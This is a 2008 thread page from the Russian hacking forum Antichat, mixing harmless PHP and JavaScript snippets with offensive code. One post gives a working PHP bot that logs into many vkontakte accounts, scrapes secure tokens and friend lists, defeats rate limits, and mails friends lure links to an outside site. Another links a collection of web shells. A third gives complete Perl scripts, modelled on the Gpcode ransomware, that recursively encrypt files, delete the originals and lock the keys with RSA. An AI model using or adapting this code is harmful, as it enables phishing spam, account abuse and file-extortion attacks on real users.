ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #391  
Старый 03.07.2008, 02:15
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию

С каждым днем наблюдается стремительный рост сервисов, например сайт вконтакте.ру и является самым посещаемым, поэтому подобные сервисы можно смело рассматривать как перспективное средство для массовых рассылок.
[ Реализация ]
Зададим необходимые константы и тексты писем (достаточно 2 варианта писем):
PHP код:
<? ///////////////////////// // vkontakte-friends spam // vspam.php // (C) diehard ///////////////////////// $accsfile = "accs.txt"; $logsfile = "logs.txt"; $host = "vkontakte.ru"; $urlfriends = "/friend.php"; // страница, откуда будем парсить френдов $urlmail = "/mail.php"; // страница, откуда будем парсить secure-код и рассылать мессаги $title[] = "Привет!"; $title[] = "Доброго времени дня!"; $message[] = "Как поживаешь? не могу разобраться как тут загружать новые фотки, а здесь http://formyfriends111.narod.ru/ давно собраны мои забавные фотки для друзей :)))"; $message[] = "привет! Как твои дела? не могу никак разобраться как загружать тут новые фотки, здесь http://formyfriends111.narod.ru/ давно собраны мои самые забавные фотки для друзей :-)";
функции для скачки страницы, записи логов и отправки мессаги.
Нужно отметить: чтобы отправить сообщение от юзера А юзеру Б нужно знать secure-код безопасной отправки (тоже видимо такая "защита"), который вычисляется на сервере и прописывается в скрытом input-е на самой странице отправки. Поэтому перед отправкой сперва загружаем эту страницу, парсим оттуда secure-код и подставляем его в запрос.
PHP код:
set_time_limit(0); function GetPage($domain$path$cookie) { $hostname gethostbyname($domain); $responce ""$errnum=0;$errstr=""$fsock fsockopen($hostname,80,$errnum,$errstr,5); if(!$fsock) { return 0; } $headers "GET $path HTTP/1.0\r\n""Host: $domain\r\n""User-Agent: Mozilla/5.0\r\n""Accept: */*\r\n""Content-Type: application/x-www-form-urlencoded\r\n""$cookie""Connection: close\r\n""\r\n"fwrite($fsock,$headers); while(!feof($fsock)) { $responce .= fread($fsock,1024); } fclose ($fsock); return $responce; } // статус работы будем выводить в отдельный DIV function SetStatus($status){ echo "<script>document.getElementById('statusDiv').innerHTML='$s tatus';</script>"; } // лог пишем в файл и по желанию в отдельный DIV (раскоментить echo) function SetLog($logmsg){ $fp=@fopen($GLOBALS["logsfile"], "a"); fwrite($fp, $logmsg."/r/n"); fclose($fp); //echo "<script>document.getElementById('logDiv').innerHTML = '".$logmsg."<br>'+ document.getElementById('logDiv').innerHTML;</script>"; SetStatus($logmsg); } function SendMail($from_id, $to_id, $t, $msg){ SetLog("SendMail $from_id:$to_id:$t:$msg"); // достаём secure $mailpage = GetPage($GLOBALS["host"], $GLOBALS["urlmail"]."?act=write&to=".$to_id, $GLOBALS["logincookies"][$from_id]); preg_match_all('/name="secure" value="(\w+)/', $mailpage, $mailsecure); foreach ($mailsecure[1] as $sss) {$secure=$sss;} SetLog("Parsed secure-code from ".$from_id." to ".$to_id.": ".$secure); // формируем post-запрос отправки $post="secure=$secure&photo=&to_id=$to_id&to_reply=0&act=sent&title=$t&message=$msg"; $len = strlen($post); $query = "POST ".$GLOBALS["urlmail"]." HTTP/1.1\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n". "Host: ".$GLOBALS["host"]."\r\n". $GLOBALS["logincookies"][$from_id]. "Content-Type: application/x-www-form-urlencoded\r\n". "Connection: close\r\n". "Content-Length: $len\r\n". "\r\n". "$post"; $conn = fsockopen($GLOBALS["host"], 80, $errno, $errstr, 1000); fputs($conn, $query); while (!feof($conn)) { $ss = fgets($conn, 128); } } 
А теперь реализуем сам алгоритм работы программы:

Чтение акков (в формате id:emailassword)
сразу же сформируем массив кукисов $logincookies[$id], которые будут использоваться для логина под разными акками
PHP код:
$fp=@fopen($accsfile,"r"); while(!feof($fp)){ $account trim(fgets($fp)); $ac explode(":"$account); $id $ac[0]; $email $ac[1]; $md5 md5($ac[2]); $accs[] = $id$logincookies[$id] = "Cookie: remixchk=2; remixmid=$id; remixemail=$email; remixpass=$md5\r\n"; }fclose($fp); 
Парсим списки френдов для каждого акка в массив $friends[$id][]:
PHP код:
$maxsize 0; foreach ($accs as $curracc){ $currfriendspage GetPage($host$urlfriends$logincookies[$curracc]); preg_match_all("/write&to=(\w+)/"$currfriendspage$currfriends); foreach ($currfriends[1] as $currfriend){ $friends[$curracc][] = $currfriend; } $currsize sizeof($friends[$curracc]); if ($currsize>$maxsize$maxsize $currsize; } 
Для наблюдения за процессом рассылки выводим слои статуса, лога и следующую таблицу: строки=акки, столбцы=френды акков
PHP код:
echo "<table id='tableFr' border=1 cellspacing=0 cellpadding=0>""<tr id='trFr0'>""<td id='tdFr0_0'></td>"; for ($i=1;$i<=$maxsize;$i++) { echo "<td id='tdFr0_$i'>Friend$i</td>";}; echo "</tr>"$n=1; foreach ($accs as $curracc){ echo "<tr id='trFr$n'>"; echo "<td id='tdFr".$n."_0'>id$curracc</td>"; for ($i=0;$i<sizeof($friends[$curracc]);$i++) { echo "<td id='tdFr".$n."_".($i+1)."'>".$friends[$curracc][$i]."</td>";}; for ($i=$i;$i<$maxsize;$i++) {echo "<td id='tdFr".$n."_".($i+1)."'>_</td>";}; echo "</tr>"$n++; } echo "</table>""<div style='border-width:1;border:1;color:#0000FF' id='statusDiv'></div><br>""<div id='logDiv'></div>"
Таким образом пока первый акк простаивает установленное ему ограничение в одну секунду, рассылка продолжается на следующих акках, таким образом мы обходим защиту от множественных рассылок за единицу времени.
PHP код:
for($i=0;$i<$maxsize;$i++){ for($j=0;$j<sizeof($accs);$j++){ if ($i<sizeof($friends[$accs[$j]])) { echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor = '#0000FF';</script>"SetStatus("Sending from ".$accs[$j]." to ".$friends[$accs[$j]][$i]); SendMail($accs[$j], $friends[$accs[$j]][$i], $title[$ % 2], $message[$i 2]); echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor='#00FF00';<script>"; }} sleep(1); } 
 

  #392  
Старый 03.07.2008, 13:19
-Hormold-
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
Провел на форуме:
3250478

Репутация: 999


Отправить сообщение для -Hormold- с помощью ICQ
По умолчанию

мда....
ты можешь код привести в нормальный вид?
 

  #393  
Старый 03.07.2008, 20:05
PEPSICOLA
Познавший АНТИЧАТ
Регистрация: 14.10.2004
Сообщений: 1,162
Провел на форуме:
5619724

Репутация: 2944


По умолчанию

Коллекция из 138 шелов:
http://rapidshare.com/files/82050926/138Shells.zip

На вирус тотале 29 из 33 антивирусов показали true )))
http://www.virustotal.com/analisis/95029739037a9ccbb47c53355171c36f
на ваш страх и риск.
 

  #394  
Старый 05.07.2008, 13:07
slik jay
Новичок
Регистрация: 04.05.2008
Сообщений: 3
Провел на форуме:
42023

Репутация: 0
Отправить сообщение для slik jay с помощью ICQ
По умолчанию

мой скриптик для работы с бд.. элементарный, но может будет полезным..

как пользоваться

извиняюсь за то что не пользуюсь тегом ПХП.. он глючит чегото..

<?php

/**
* bmDataBase
*
* @copyright 2008 slik
* @license http://www.gnu.org/licenses/gpl.html GNU General Public License
* @version $Id: ver 0.02 Wed Jul 02 17:05:06 UTC 2008 $
* @link http://dev.bmengine.net
* @author slik <slik.jay@gmail.com>
*/

// defines
define("BM_DB_TRANSACTION_START", 1);
define("BM_DB_TRANSACTION_END", 2);
define("BM_DB_TRANSACTION_RESET", 3);

define("BM_DB_SKIP", log(0));

define("BM_DB_RETURN_RESOURCE", 0);
define("BM_DB_RETURN_ARRAY", 1);
define("BM_DB_RETURN_LASTID", 2);
define("BM_DB_RETURN_ASSOCARRAY", 3);
define("BM_DB_RETURN_BOOL", 4);

class bmDataBase
{
private $ident_prefix = "";
private $link = null;
private $last_error;

private $logging = true;
private $query_logs;

private $statistics;

private $declimer_main = '#';
private $declimer_right = '}}';
private $declimer_left = '{{';

static private $instance = null;

/**
* Create the only object of this class
*
* @return bmDataBase
*/
static public function getInstance()
{
if (is_null(self::$instance)) self::$instance = new bmDataBase();
return self::$instance;
}

/**
* private methods
*/
private function __construct()
{
$this->query_logs = array();
$this->statistics = array();
$this->statistics['queries_count'] = 0;
}

private function __clone() {}

/**
* Connect to database using dns syntax
* mysql://userassword@hostort/database_name ...
* or array
* array (
* 'scheme' = > 'mysql', // only MySQL supported
* 'host' => 'host',
* 'port' => 'port', // if need
* 'user' => 'user',
* 'pass' => 'password',
* 'path' => 'database_name',
* 'ident_prefix' => 'ident_prefix' // if need (can use bmDataBase::setIdentPrefix)
* 'declimer_main' => 'declimer_main' // if need (can use bmDataBase::setMainDeclimer)
* 'declimer_left' => 'declimer_left' // if need (can use bmDataBase::setLeftDeclimer)
* 'declimer_right' => 'declimer_right' // if need (can use bmDataBase::setRightDeclimer)
* )
*
* @param string|array $dsn
* @return bool
*/
public function connect($dsn)
{
// Load database driver and create its instance.
$parsed = $this->parseDSN($dsn);
if (!$parsed)
return $this->_setLastError(-1, "Can't parse DNS string", "bmDataBase::connect");

// try to set ident prefix
if (isset($parsed['ident_prefix']))
$this->setIdentPrefix($parsed['ident_prefix']);

// try to set main declimer
if (isset($parsed['declimer_main']))
$this->setMainDeclimer($parsed['declimer_main']);

// try to set left declimer
if (isset($parsed['declimer_left']))
$this->setLeftDeclimer($parsed['declimer_left']);

// try to set right declimer
if (isset($parsed['declimer_right']))
$this->setRightDeclimer($parsed['declimer_right']);

if (!is_callable('mysql_connect'))
return $this->_setLastError(-1, "MySQL extension is not loaded", "mysql_connect");

$ok = $this->link = @mysql_connect(
$parsed['host'].(empty($parsed['port'])? "" : ":".$parsed['port']),
$parsed['user'],
$parsed['pass'],
true
);

$this->_resetLastError();
if (!$ok) return $this->_setLastError(-1, "Can't connect to database", "mysql_connect");
$parsed['path'] = strtr($parsed['path'], array('/' => ''));
$ok = @mysql_select_db($parsed['path'], $this->link);
if (!$ok) return $this->_setLastError(-1, "Can't select database '{$parsed['path']}'", "mysql_select_db");

return true;
}


/**
* parseDSN(mixed $dsn)
* Parse a data source name.
* See parse_url() for details.
*
* @return array
*/
protected function parseDSN($dsn)
{
// if argument is array
if (is_array($dsn))
{
if (array_key_exists('scheme', $dsn) &&
array_key_exists('host', $dsn) &&
array_key_exists('user', $dsn) &&
array_key_exists('pass', $dsn) &&
array_key_exists('path', $dsn))
return $dsn;
else
return null;
}

// if argument is string
$parsed = @parse_url(strval($dsn));

// argument empty..
if (!$parsed) return null;

// if used params
$params = null;
if (!empty($parsed['query']))
{
parse_str($parsed['query'], $params);
$parsed += $params;
}

// save dns string
$parsed['dsn'] = $dsn;

return $parsed;
}

/**
* set prefix for #_
*
* @param unknown_type $prefix
*/
public function setIdentPrefix($prefix)
{
$this->ident_prefix = strval($prefix);
}

/**
* set main declimer (default '#')
*
* @param string(1) $declimer
*/
public function setMainDeclimer($declimer)
{
$tmp = strval($declimer);
$this->declimer_main = $tmp[0];
}

/**
* set right declimer (default '{{')
*
* @param string(2) $declimer
*/
public function setRightDeclimer($declimer)
{
$this->declimer_right = substr(strval($declimer), 0, 2);
}

/**
* set left declimer (default '}}')
*
* @param string(2) $declimer
*/
public function setLeftDeclimer($declimer)
{
$this->declimer_right = substr(strval($declimer), 0, 2);
}

/**
* log sql queryes ?
*
* @param bool $log_it
*/
public function setLogging($log_it)
{
$this->logging = intval($log_it);
}

/**
* Return last error info
*
* @return array
*/
public function getLastError()
{
return $this->last_error;
}

/**
* return statistics
*
* @return array
*/
public function getStatistics()
{
return $this->statistics;
}

/**
* sql query using placeholders:
*
* #s - string: string
* #i - identificator: `indent`[, ...]
* #v - value 'value'[, ...]
* #a - assotiative array `key` = 'value'[, ...]
* #d - integer 10
* #f - float 0.0
* #n - string, but if empty, if 0 or if null, sets to NULL
* #_ - identification index for tables
*
* @param sting $sql[, ...]
* @return array
*/
public function query($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_RESOURCE);
}

/**
* return generated sql query
*
* @param string $sql[, ...]
* @return string
*/
public function query_debug($sql)
{
$args = func_get_args();
return $this->_parseSql($args);
}

/**
* sql query using placeholders (see bmDataBase::query)
*
* @param string $sql[, ...]
* @return int (last id)
*/
public function insert($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_LASTID);
}

/**
* sql query using placeholders (see bmDataBase::query)
*
* @param string $sql[, ...]
* @return array
*/
public function select($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_ARRAY);
}

public function update($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_BOOL);
}

/**
* sql query using placeholders (see bmDataBase::query)
*
* @param string $sql[, ...]
* @return assoc array
*/
public function selectRow($sql)
{
$this->_resetLastError();
$args = func_get_args();
$sql = $this->_parseSql($args);

return $this->_query($sql, BM_DB_RETURN_ASSOCARRAY);
}

/**
* you can use transactions
* actions:
* BM_DB_TRANSACTION_START - start transaction
* BM_DB_TRANSACTION_END - stop transaction (commit)
* BM_DB_TRANSACTION_RESET - reset transaction (rollback)
* @param int $action
*/
public function transaction($action)
{
switch ($action)
{
case BM_DB_TRANSACTION_START:
$this->query("BEGIN");
break;

case BM_DB_TRANSACTION_END:
$this->query("COMMIT");
break;

case BM_DB_TRANSACTION_RESET:
$this->query("ROLLBACK");
break;
}
}

protected function _setLastError($code, $msg, $query)
{
$info = array();
$context = "";

if (is_callable('debug_backtrace'))
{
$trace = debug_backtrace();
$context = empty($trace[1]['class'])?
$trace[1]['function']:
$trace[1]['class']."::".$trace[1]['function'];
$info['file'] = $trace[1]['file'];
$info['line'] = $trace[1]['line'];
$info['function'] = $trace[2]['function'];
$info['class'] = $trace[2]['class'];
}

$this->last_error = array('code' => $code,
'message' => $msg,
'query' => $query,
'context' => $context,
'info' => $info);

return false;
}

protected function _resetLastError()
{
$this->last_error = array();
}

protected function _logQuery($query)
{
if($this->logging)
$this->query_logs[] = $query;
}

protected function _escape($str, $is_ident = false)
{
if($is_ident)
return "`".str_replace("`", "``", strval($str))."`";
elseif(is_null($str))
return 'NULL';
else
return "'".mysql_real_escape_string(strval($str), $this->link)."'";
}

protected function _parseMacroses($sql)
{
$start = 0;
$macroses = array();
$macroses['placeholders'] = array();

$i = 0;
$p = 1;
while (($pos = strpos($sql, $this->declimer_left, $start)) !== false)
{
$macroses[$i]['begin'] = $pos;
$macroses[$i]['end'] = strpos($sql, $this->declimer_right, $pos+2) + 2;
$macroses[$i]['macros'] = substr($sql, $macroses[$i]['begin'], $macroses[$i]['end']-$macroses[$i]['begin']);
$chars = count_chars(substr($sql, $start, $macroses[$i]['begin']-$start), 0);
$macroses[$i]['placeholders_start'] = $chars[ord($this->declimer_main)];
$chars = count_chars($macroses[$i]['macros'], 0);
$macroses[$i]['placeholders_count'] = $chars[ord($this->declimer_main)];

$p += $macroses[$i]['placeholders_start'];

for ($j=0; $j<$macroses[$i]['placeholders_count']; $j++)
$macroses['placeholders'][$p++] = $i;

$start = $macroses[$i]['end'];
$i++;
}
return $macroses;
}

protected function _parseSql($args)
{
trim($args[0]);

// #_
$args[0] = strtr($args[0], array($this->declimer_main.'_' => $this->ident_prefix));

if(count($args) > 1)
{
$skip = array();

$macroses = $this->_parseMacroses($args[0]);

for($i=1, $cnt=count($args); $i<$cnt; $i++)
{
if($args[$i] === BM_DB_SKIP)
{
$skip[$macroses[$macroses['placeholders'][$i]]['macros']] = "";
foreach ($macroses['placeholders'] as $key => $val)
{
if($val == $macroses['placeholders'][$i])
{
unset($args[$key]);
}
}
}
}
$args = array_values($args);

$skip[$this->declimer_left] = " ";
$skip[$this->declimer_right] = " ";
$args[0] = strtr($args[0], $skip);

$sql = explode($this->declimer_main, $args[0]);
$main_sql = $sql[0];

for ($i=1, $cnt=count($sql); $i<$cnt; $i++)
{
$type = $sql[$i][0];
$sql[$i] = substr($sql[$i], 1);

if(!isset($args[$i]))
$args[$i] = null;

switch ($type)
{
case 's': // -------------------------------------
$main_sql .= strval($args[$i]);
break;

case 'i': // -------------------------------------
if (is_null($args[$i]))
return $this->_setLastError(-1, "Placeholder '#i' can't be 'NULL'", 'bmDataBase::query');
elseif (is_array($args[$i]))
{
foreach ($args[$i] as $val)
$main_sql .= $this->_escape($val, true).", ";
$main_sql = substr($main_sql, 0, -2);
}
else
$main_sql .= $this->_escape($args[$i], true);
break;

case 'v': // -------------------------------------
if (is_array($args[$i]))
{
foreach ($args[$i] as $val)
$main_sql .= $this->_escape($val).", ";
$main_sql = substr($main_sql, 0, -2);
}
else
$main_sql .= $this->_escape($args[$i]);
break;

case 'a': // -------------------------------------
if(is_array($args[$i]))
{
foreach ($args[$i] as $key => $val)
$main_sql .= $this->_escape($key, true)." = ".$this->_escape($val).", ";
$main_sql = substr($main_sql, 0, -2);
}
else
return $this->_setLastError(-1, "Placeholder '#a' must be array", "bmDataBase::query");
break;
/*
case '_': // -------------------------------------
$main_sql .= $this->ident_prefix;
array_unshift($args, 0);
break;*/

case 'd': // -------------------------------------
if (is_null($args[$i]))
$main_sql .= 'NULL';
else
$main_sql .= intval($args[$i]);
break;

case 'f': // -------------------------------------
if (is_null($args[$i]))
$main_sql .= 'NULL';
else
$main_sql .= floatval($args[$i]);
break;

case 'n': // -------------------------------------
if(empty($args[$i]) || is_null($args[$i]) || $args[$i] == 0)
$main_sql .= 'NULL';
else
$main_sql .= $this->_escape($args[$i]);
break;

default: // -------------------------------------
return $this->_setLastError(-1, "Unknown placeholder type '#".$type."'", 'bmDataBase::query');
break;
}

$main_sql .= $sql[$i];
}

if(isset($args[$i+1]))
$main_sql .= $sql[$i+1];
}
else
$main_sql = $args[0];

return $main_sql;
}

protected function _query($sql, $return_as)
{
// sql query
$resource = @mysql_query($sql);
$this->statistics['queries_count']++;

if(!$resource)
return $this->_setLastError(mysql_errno($this->link), mysql_error($this->link), $main_sql);

// parse resources
switch ($return_as)
{
case BM_DB_RETURN_RESOURCE:
$return_val = $resource;
break;

case BM_DB_RETURN_ARRAY:
$return_val = array();
while ($row = @mysql_fetch_assoc($resource))
$return_val[] = $row;
break;

case BM_DB_RETURN_LASTID:
$return_val = @mysql_insert_id($this->link);
break;

case BM_DB_RETURN_ASSOCARRAY:
$return_val = @mysql_fetch_assoc($resource);
break;
case BM_DB_RETURN_BOOL:
$return_val = true;
break;
}

$this->statistics['affected_rows'] = mysql_affected_rows($this->link);

return $return_val;
}
}

?>

Последний раз редактировалось slik jay; 05.07.2008 в 14:23..
 

Rc4+rsa шифровщик/дешифровщик
  #395  
Старый 10.07.2008, 12:28
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию Rc4+rsa шифровщик/дешифровщик

По мотивам сообщений о вирусе Gpcode. Не вирус, естественно, обычный шифровщик файлов, просто заинтересовался крипт-модулями в перле. Состоит из трех скриптов:
1. генератор ключей (сохраняются в отдельном каталоге, эти ключи также можно встроить в сам код).
2. собственно шифровщик файлов - сами файлы шифруются алгоритмом RC4 (ключ генерится рандомно), формируется список "файл - RC4-ключ", каждая пара разделена табулятором. После шифрования файлов список шифруется открытым ключом RSA, сгенеренным первым скриптом. Закриптованные файлы сохраняются в том же каталоге, что и оригиналы, к их именам добавляется ._CRYPT (хе-хе). Исходный файл удаляется.
3. дешифровщик файлов - дешифрует сначала список файлов и ключей, используя закрытый ключ RSA, затем сами файлы.

1. Генератор ключей
Код:
#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RSA;

sub myexit ($);

my $rsa = Crypt::RSA->new ();
my ($public, $private) =
  $rsa->keygen (
    'Identity'  => 'lamer@server.ru',
    'Size'      => 1024,
    'Password'  => 'Are you really thinking that you can hack my password phrase, eh?',
    'Verbosity' => 1,
    'Filename'  => '/home/user/rsakeys/mykey', # в каталоге /home/user/rsakeys получим пару ключей mykey.public и mykey.private
  ) or myexit 'RSA keygen error: ' . $rsa->errstr, -1;

exit 0;

sub myexit ($$) {
  my ($msg, $code) = @_;

  print $msg, "\n";
  exit $code;
}
2. Шифровщик
Код:
#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RC4;
use Crypt::RSA;

sub tree ($);
sub encrypt_file ($);
sub encrypt_list ();
sub myexit ($$);

tree './directory'; # Указываем путь к каталогу, обходим его рекурсивно
encrypt_list ();
exit 0;

# Генерируем парольную фразу для RC4
sub genphrase () { 
  my (@chars, $charlen, $passlen, $passphrase, $i);
  @chars = qw (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9);
  $charlen = scalar @chars;
  $passlen = 10;
  for $i (0 .. $passlen - 1) {
    $passphrase .= $chars[int (rand ($charlen - 1))];
  }
  return $passphrase;
}

# Шифруем файл алгоритмом RC4
sub encrypt_file ($) {
  my $fname = shift;
  my ($F, $content, $rdeny, $wdeny, $rc4key, $rc4, $listfile);

  #print 'Starting encryption: ', $fname, "\n";
  $listfile = '_!_list_!_.txt'; # список пар "имя файла - RC4-ключ"
  $rc4key = genphrase ();
  #print $fname, "\t", $rc4key, "\n";
  $rc4 = Crypt::RC4->new ($rc4key);
  open $F, '<', $fname or $rdeny = 1;
  unless ($rdeny) {
    $content .= $_ while <$F>;
    close $F;
    $content = $rc4->RC4 ($content);
    open $F, '>', $fname . '._CRYPT' or $wdeny = 1;
    unless ($wdeny) {
      binmode $F;
      print $F $content;
      close $F;
      open $F, '>>', $listfile;
      print $F $fname, "\t", $rc4key, "\n";
      close $F;
      unlink $fname;
    }
    #print "Encryption complete\n";
  }
  return 0;
}

# Шифруем фай-список открытым ключом RSA
sub encrypt_list () {
  my ($rsa, $public, $F, $content, $listfile);

  $rsa = Crypt::RSA->new ();
  # два варианта использования ключа - брать из файла или внедрять прямо в код
  # $public = Crypt::RSA::Key::Public ('Filename' => '/home/user/rsakeys/mykey.public');
  $public = bless ( {
    'e' => 65537,
    'n' => 'тута_очень_многа_цифер ))',
    'Version' => '1.97',
    'Identity' => 'lamer@server.ru'
  }, 'Crypt::RSA::Key::Public' );
  $listfile = '_!_list_!_.txt';
  open $F, '<', $listfile;
  $content .= $_ while <$F>;
  close $F;
  $content = $rsa->encrypt (
    'Message' => $content,
    'Key' => $public,
    'Armour' => 0,
  );
  open $F, '>', $listfile . '.new';
  binmode $F;
  print $F $content;
  close $F;
  unlink $listfile;
  rename $listfile . '.new', $listfile;
  return 0;
}

# Обход каталога рекурсивно
sub tree ($) {
  my $dirname = shift;
  my ($DIR, $fullpath, @files, $file, $deny);

  opendir $DIR, $dirname or $deny = 1;#myexit 'opendir() error: ' . $!, -1;
  unless ($deny) {
    @files = readdir $DIR;
    foreach $file (@files) {
      next if $file eq '.' || $file eq '..';
      $fullpath = $dirname . '/' . $file;
      if (-d $fullpath) {
        #print "$fullpath - directory\n";
        tree $fullpath;
      } elsif (-f $fullpath) {
        encrypt_file $fullpath if $fullpath =~ /\.txt$/; # обрабатываем тока *.txt файлы
      }
    }
    closedir $DIR;
  }
}

sub myexit ($$) {
  my ($msg, $code) = @_;

  print $msg, "\n";
  exit $code;
}
3. Декриптор файлов
Код:
#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RSA;
use Crypt::RC4;

sub decode_list ($);
sub decode_files ($);
sub myexit ($$);

my $content = decode_list '_!_list_!_.txt';
decode_files $content;

# Дешифруем список файлов и ключей закрытым ключом RSA
sub decode_list ($) {
  my $listname = shift;
  my ($content, $F, $rsa, $private);

  open $F, '<', $listname or myexit 'list file open error: ' . $!, -1;
  binmode $F;
  $content .= $_ while <$F>;
  close $F;
  $rsa = Crypt::RSA->new () or myexit 'RSA init error: ' . Crypt::RSA->errstr, -1;
  $private = Crypt::RSA::Key::Private->new ( # юзаем приватный ключ из внешнего файла
    'Filename' => '/home/isn/rsakeys/krypt3r.private',
    'Password' => 'Are you really thinking that you can hack my password phrase, eh?', # не забываем парольную фразу
  );
  $content = $rsa->decrypt (
    'Cyphertext' => $content,
    'Key' => $private,
    'Armour' => 0,
  ) or myexit 'RSA decripting error: ' . $rsa->errstr, -1;
  return $content;
}

# парсим расшифрованный список и затем расшифровываем файлы
# криптованные файлы удаляем
sub decode_files ($) {
  my $content = shift;
  my (@lines, $line, $fname, $newfname, $rc4key, $rc4, $F, $cnt);

  @lines = split /\n/, $content;
  foreach $line (@lines) {
    ($fname, $rc4key) = split /\t/, $line;
    $rc4 = Crypt::RC4->new ($rc4key);
    undef $cnt;
    open $F, '<', $fname . '._CRYPT' or myexit 'encrypted file open error:' . $!, -1;
    $cnt .= $_ while <$F>;
    close $F;
    $cnt = $rc4->RC4 ($cnt);
    open $F, '>', $fname or myexit 'plaintext file open error: ' . $!, -1;
    print $F $cnt;
    close $F;
    unlink $fname . '._CRYPT';
  }
}

sub myexit ($$) {
  my ($msg, $code) = @_;

  print $msg, "\n";
  exit $code;
}
Тестилось под линуксом. Требуются модули Crypt::RSA и Crypt::RC4. Доводить до ума уже лень =) Может, кто-нить заюзает.
 

Аналоговые, следящие за скроллингом часы
  #396  
Старый 11.07.2008, 17:30
bulyako
Новичок
Регистрация: 05.07.2008
Сообщений: 2
Провел на форуме:
142078

Репутация: 1
По умолчанию Аналоговые, следящие за скроллингом часы

Аналоговые, следящие за скроллингом часы
Скрипт поместите между <HEAD> и </HEAD>

Цитата:
<SCRIPT LANGUAGE="JavaScript">
<!-- Original: Kurt Grigg (kurt.grigg@virgin.net) -->
<!-- Web Site: http://website.lineone.net/~kurt.grigg/javascript -->

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
fCol = '000000'; //Цвет цифр.
sCol = 'ff0000'; //Цвет секундной стрелки.
mCol = '000000'; //Цвет минутной стрелки.
hCol = '000000'; //Цвет часовой стрелки.
H = '....';
H = H.split('');
M = '.....';
M = M.split('');
S = '......';
S = S.split('');
Ypos = 0;
Xpos = 0;
Ybase = 8;
Xbase = 8;
dots = 12;
ns = (document.layers)?1:0;
if (ns) {
dgts = '1 2 3 4 5 6 7 8 9 10 11 12';
dgts = dgts.split(' ');
for (i = 0; i < dots; i++) {
document.write('<layer name=nsDigits'+i+' top=0 left=0 height=30 width=30><center><font face=Arial,Verdana size=1 color='+fCol+'>'+dgts[i]+'</font></center></layer>');
}
for (i = 0; i < M.length; i++) {
document.write('<layer name=ny'+i+' top=0 left=0 bgcolor='+mCol+' clip="0,0,2,2"></layer>');
}
for (i = 0; i < H.length; i++) {
document.write('<layer name=nz'+i+' top=0 left=0 bgcolor='+hCol+' clip="0,0,2,2"></layer>');
}
for (i = 0; i < S.length; i++) {
document.write('<layer name=nx'+i+' top=0 left=0 bgcolor='+sCol+' clip="0,0,2,2"></layer>');
}
}
else {
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 1; i < dots+1; i++) {
document.write('<div id="ieDigits" style="position:absolute;top:0px;left:0px; width:30px;height:30px;font-family:Arial,Verdana; font-size:10px;color:'+fCol+'; text-align:center;padding-top:10px">'+i+'</div>');
}
document.write('</div></div>')
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < M.length; i++) {
document.write('<div id=y style="position:absolute;width:2px;height:2px;font-size:2px; background:'+mCol+'"></div>');
}
document.write('</div></div>')
document.write('</div></div>')
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < H.length; i++) {
document.write('<div id=z style="position:absolute;width:2px;height:2px; font-size:2px;background:'+hCol+'"></div>');
}
document.write('</div></div>')
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < S.length; i++) {
document.write('<div id=x style="position:absolute;width:2px;height:2px; font-size:2px;background:'+sCol+'"></div>');
}
document.write('</div></div>')
}
function clock() {
time = new Date ();
secs = time.getSeconds();
sec = -1.57 + Math.PI * secs/30;
mins = time.getMinutes();
min = -1.57 + Math.PI * mins/30;
hr = time.getHours();
hrs = -1.57 + Math.PI * hr/6 + Math.PI*parseInt(time.getMinutes())/360;
if (ns) {
Ypos = window.pageYOffset+window.innerHeight-60;
Xpos = window.pageXOffset+window.innerWidth-80;
}
else {
Ypos = document.body.scrollTop + window.document.body.clientHeight - 60;
Xpos = document.body.scrollLeft + window.document.body.clientWidth - 60;
}
if (ns) {
for (i = 0; i < dots; ++i){
document.layers["nsDigits"+i].top = Ypos - 5 + 40 * Math.sin(-0.49+dots+i/1.9);
document.layers["nsDigits"+i].left = Xpos - 15 + 40 * Math.cos(-0.49+dots+i/1.9);
}
for (i = 0; i < S.length; i++){
document.layers["nx"+i].top = Ypos + i * Ybase * Math.sin(sec);
document.layers["nx"+i].left = Xpos + i * Xbase * Math.cos(sec);
}
for (i = 0; i < M.length; i++){
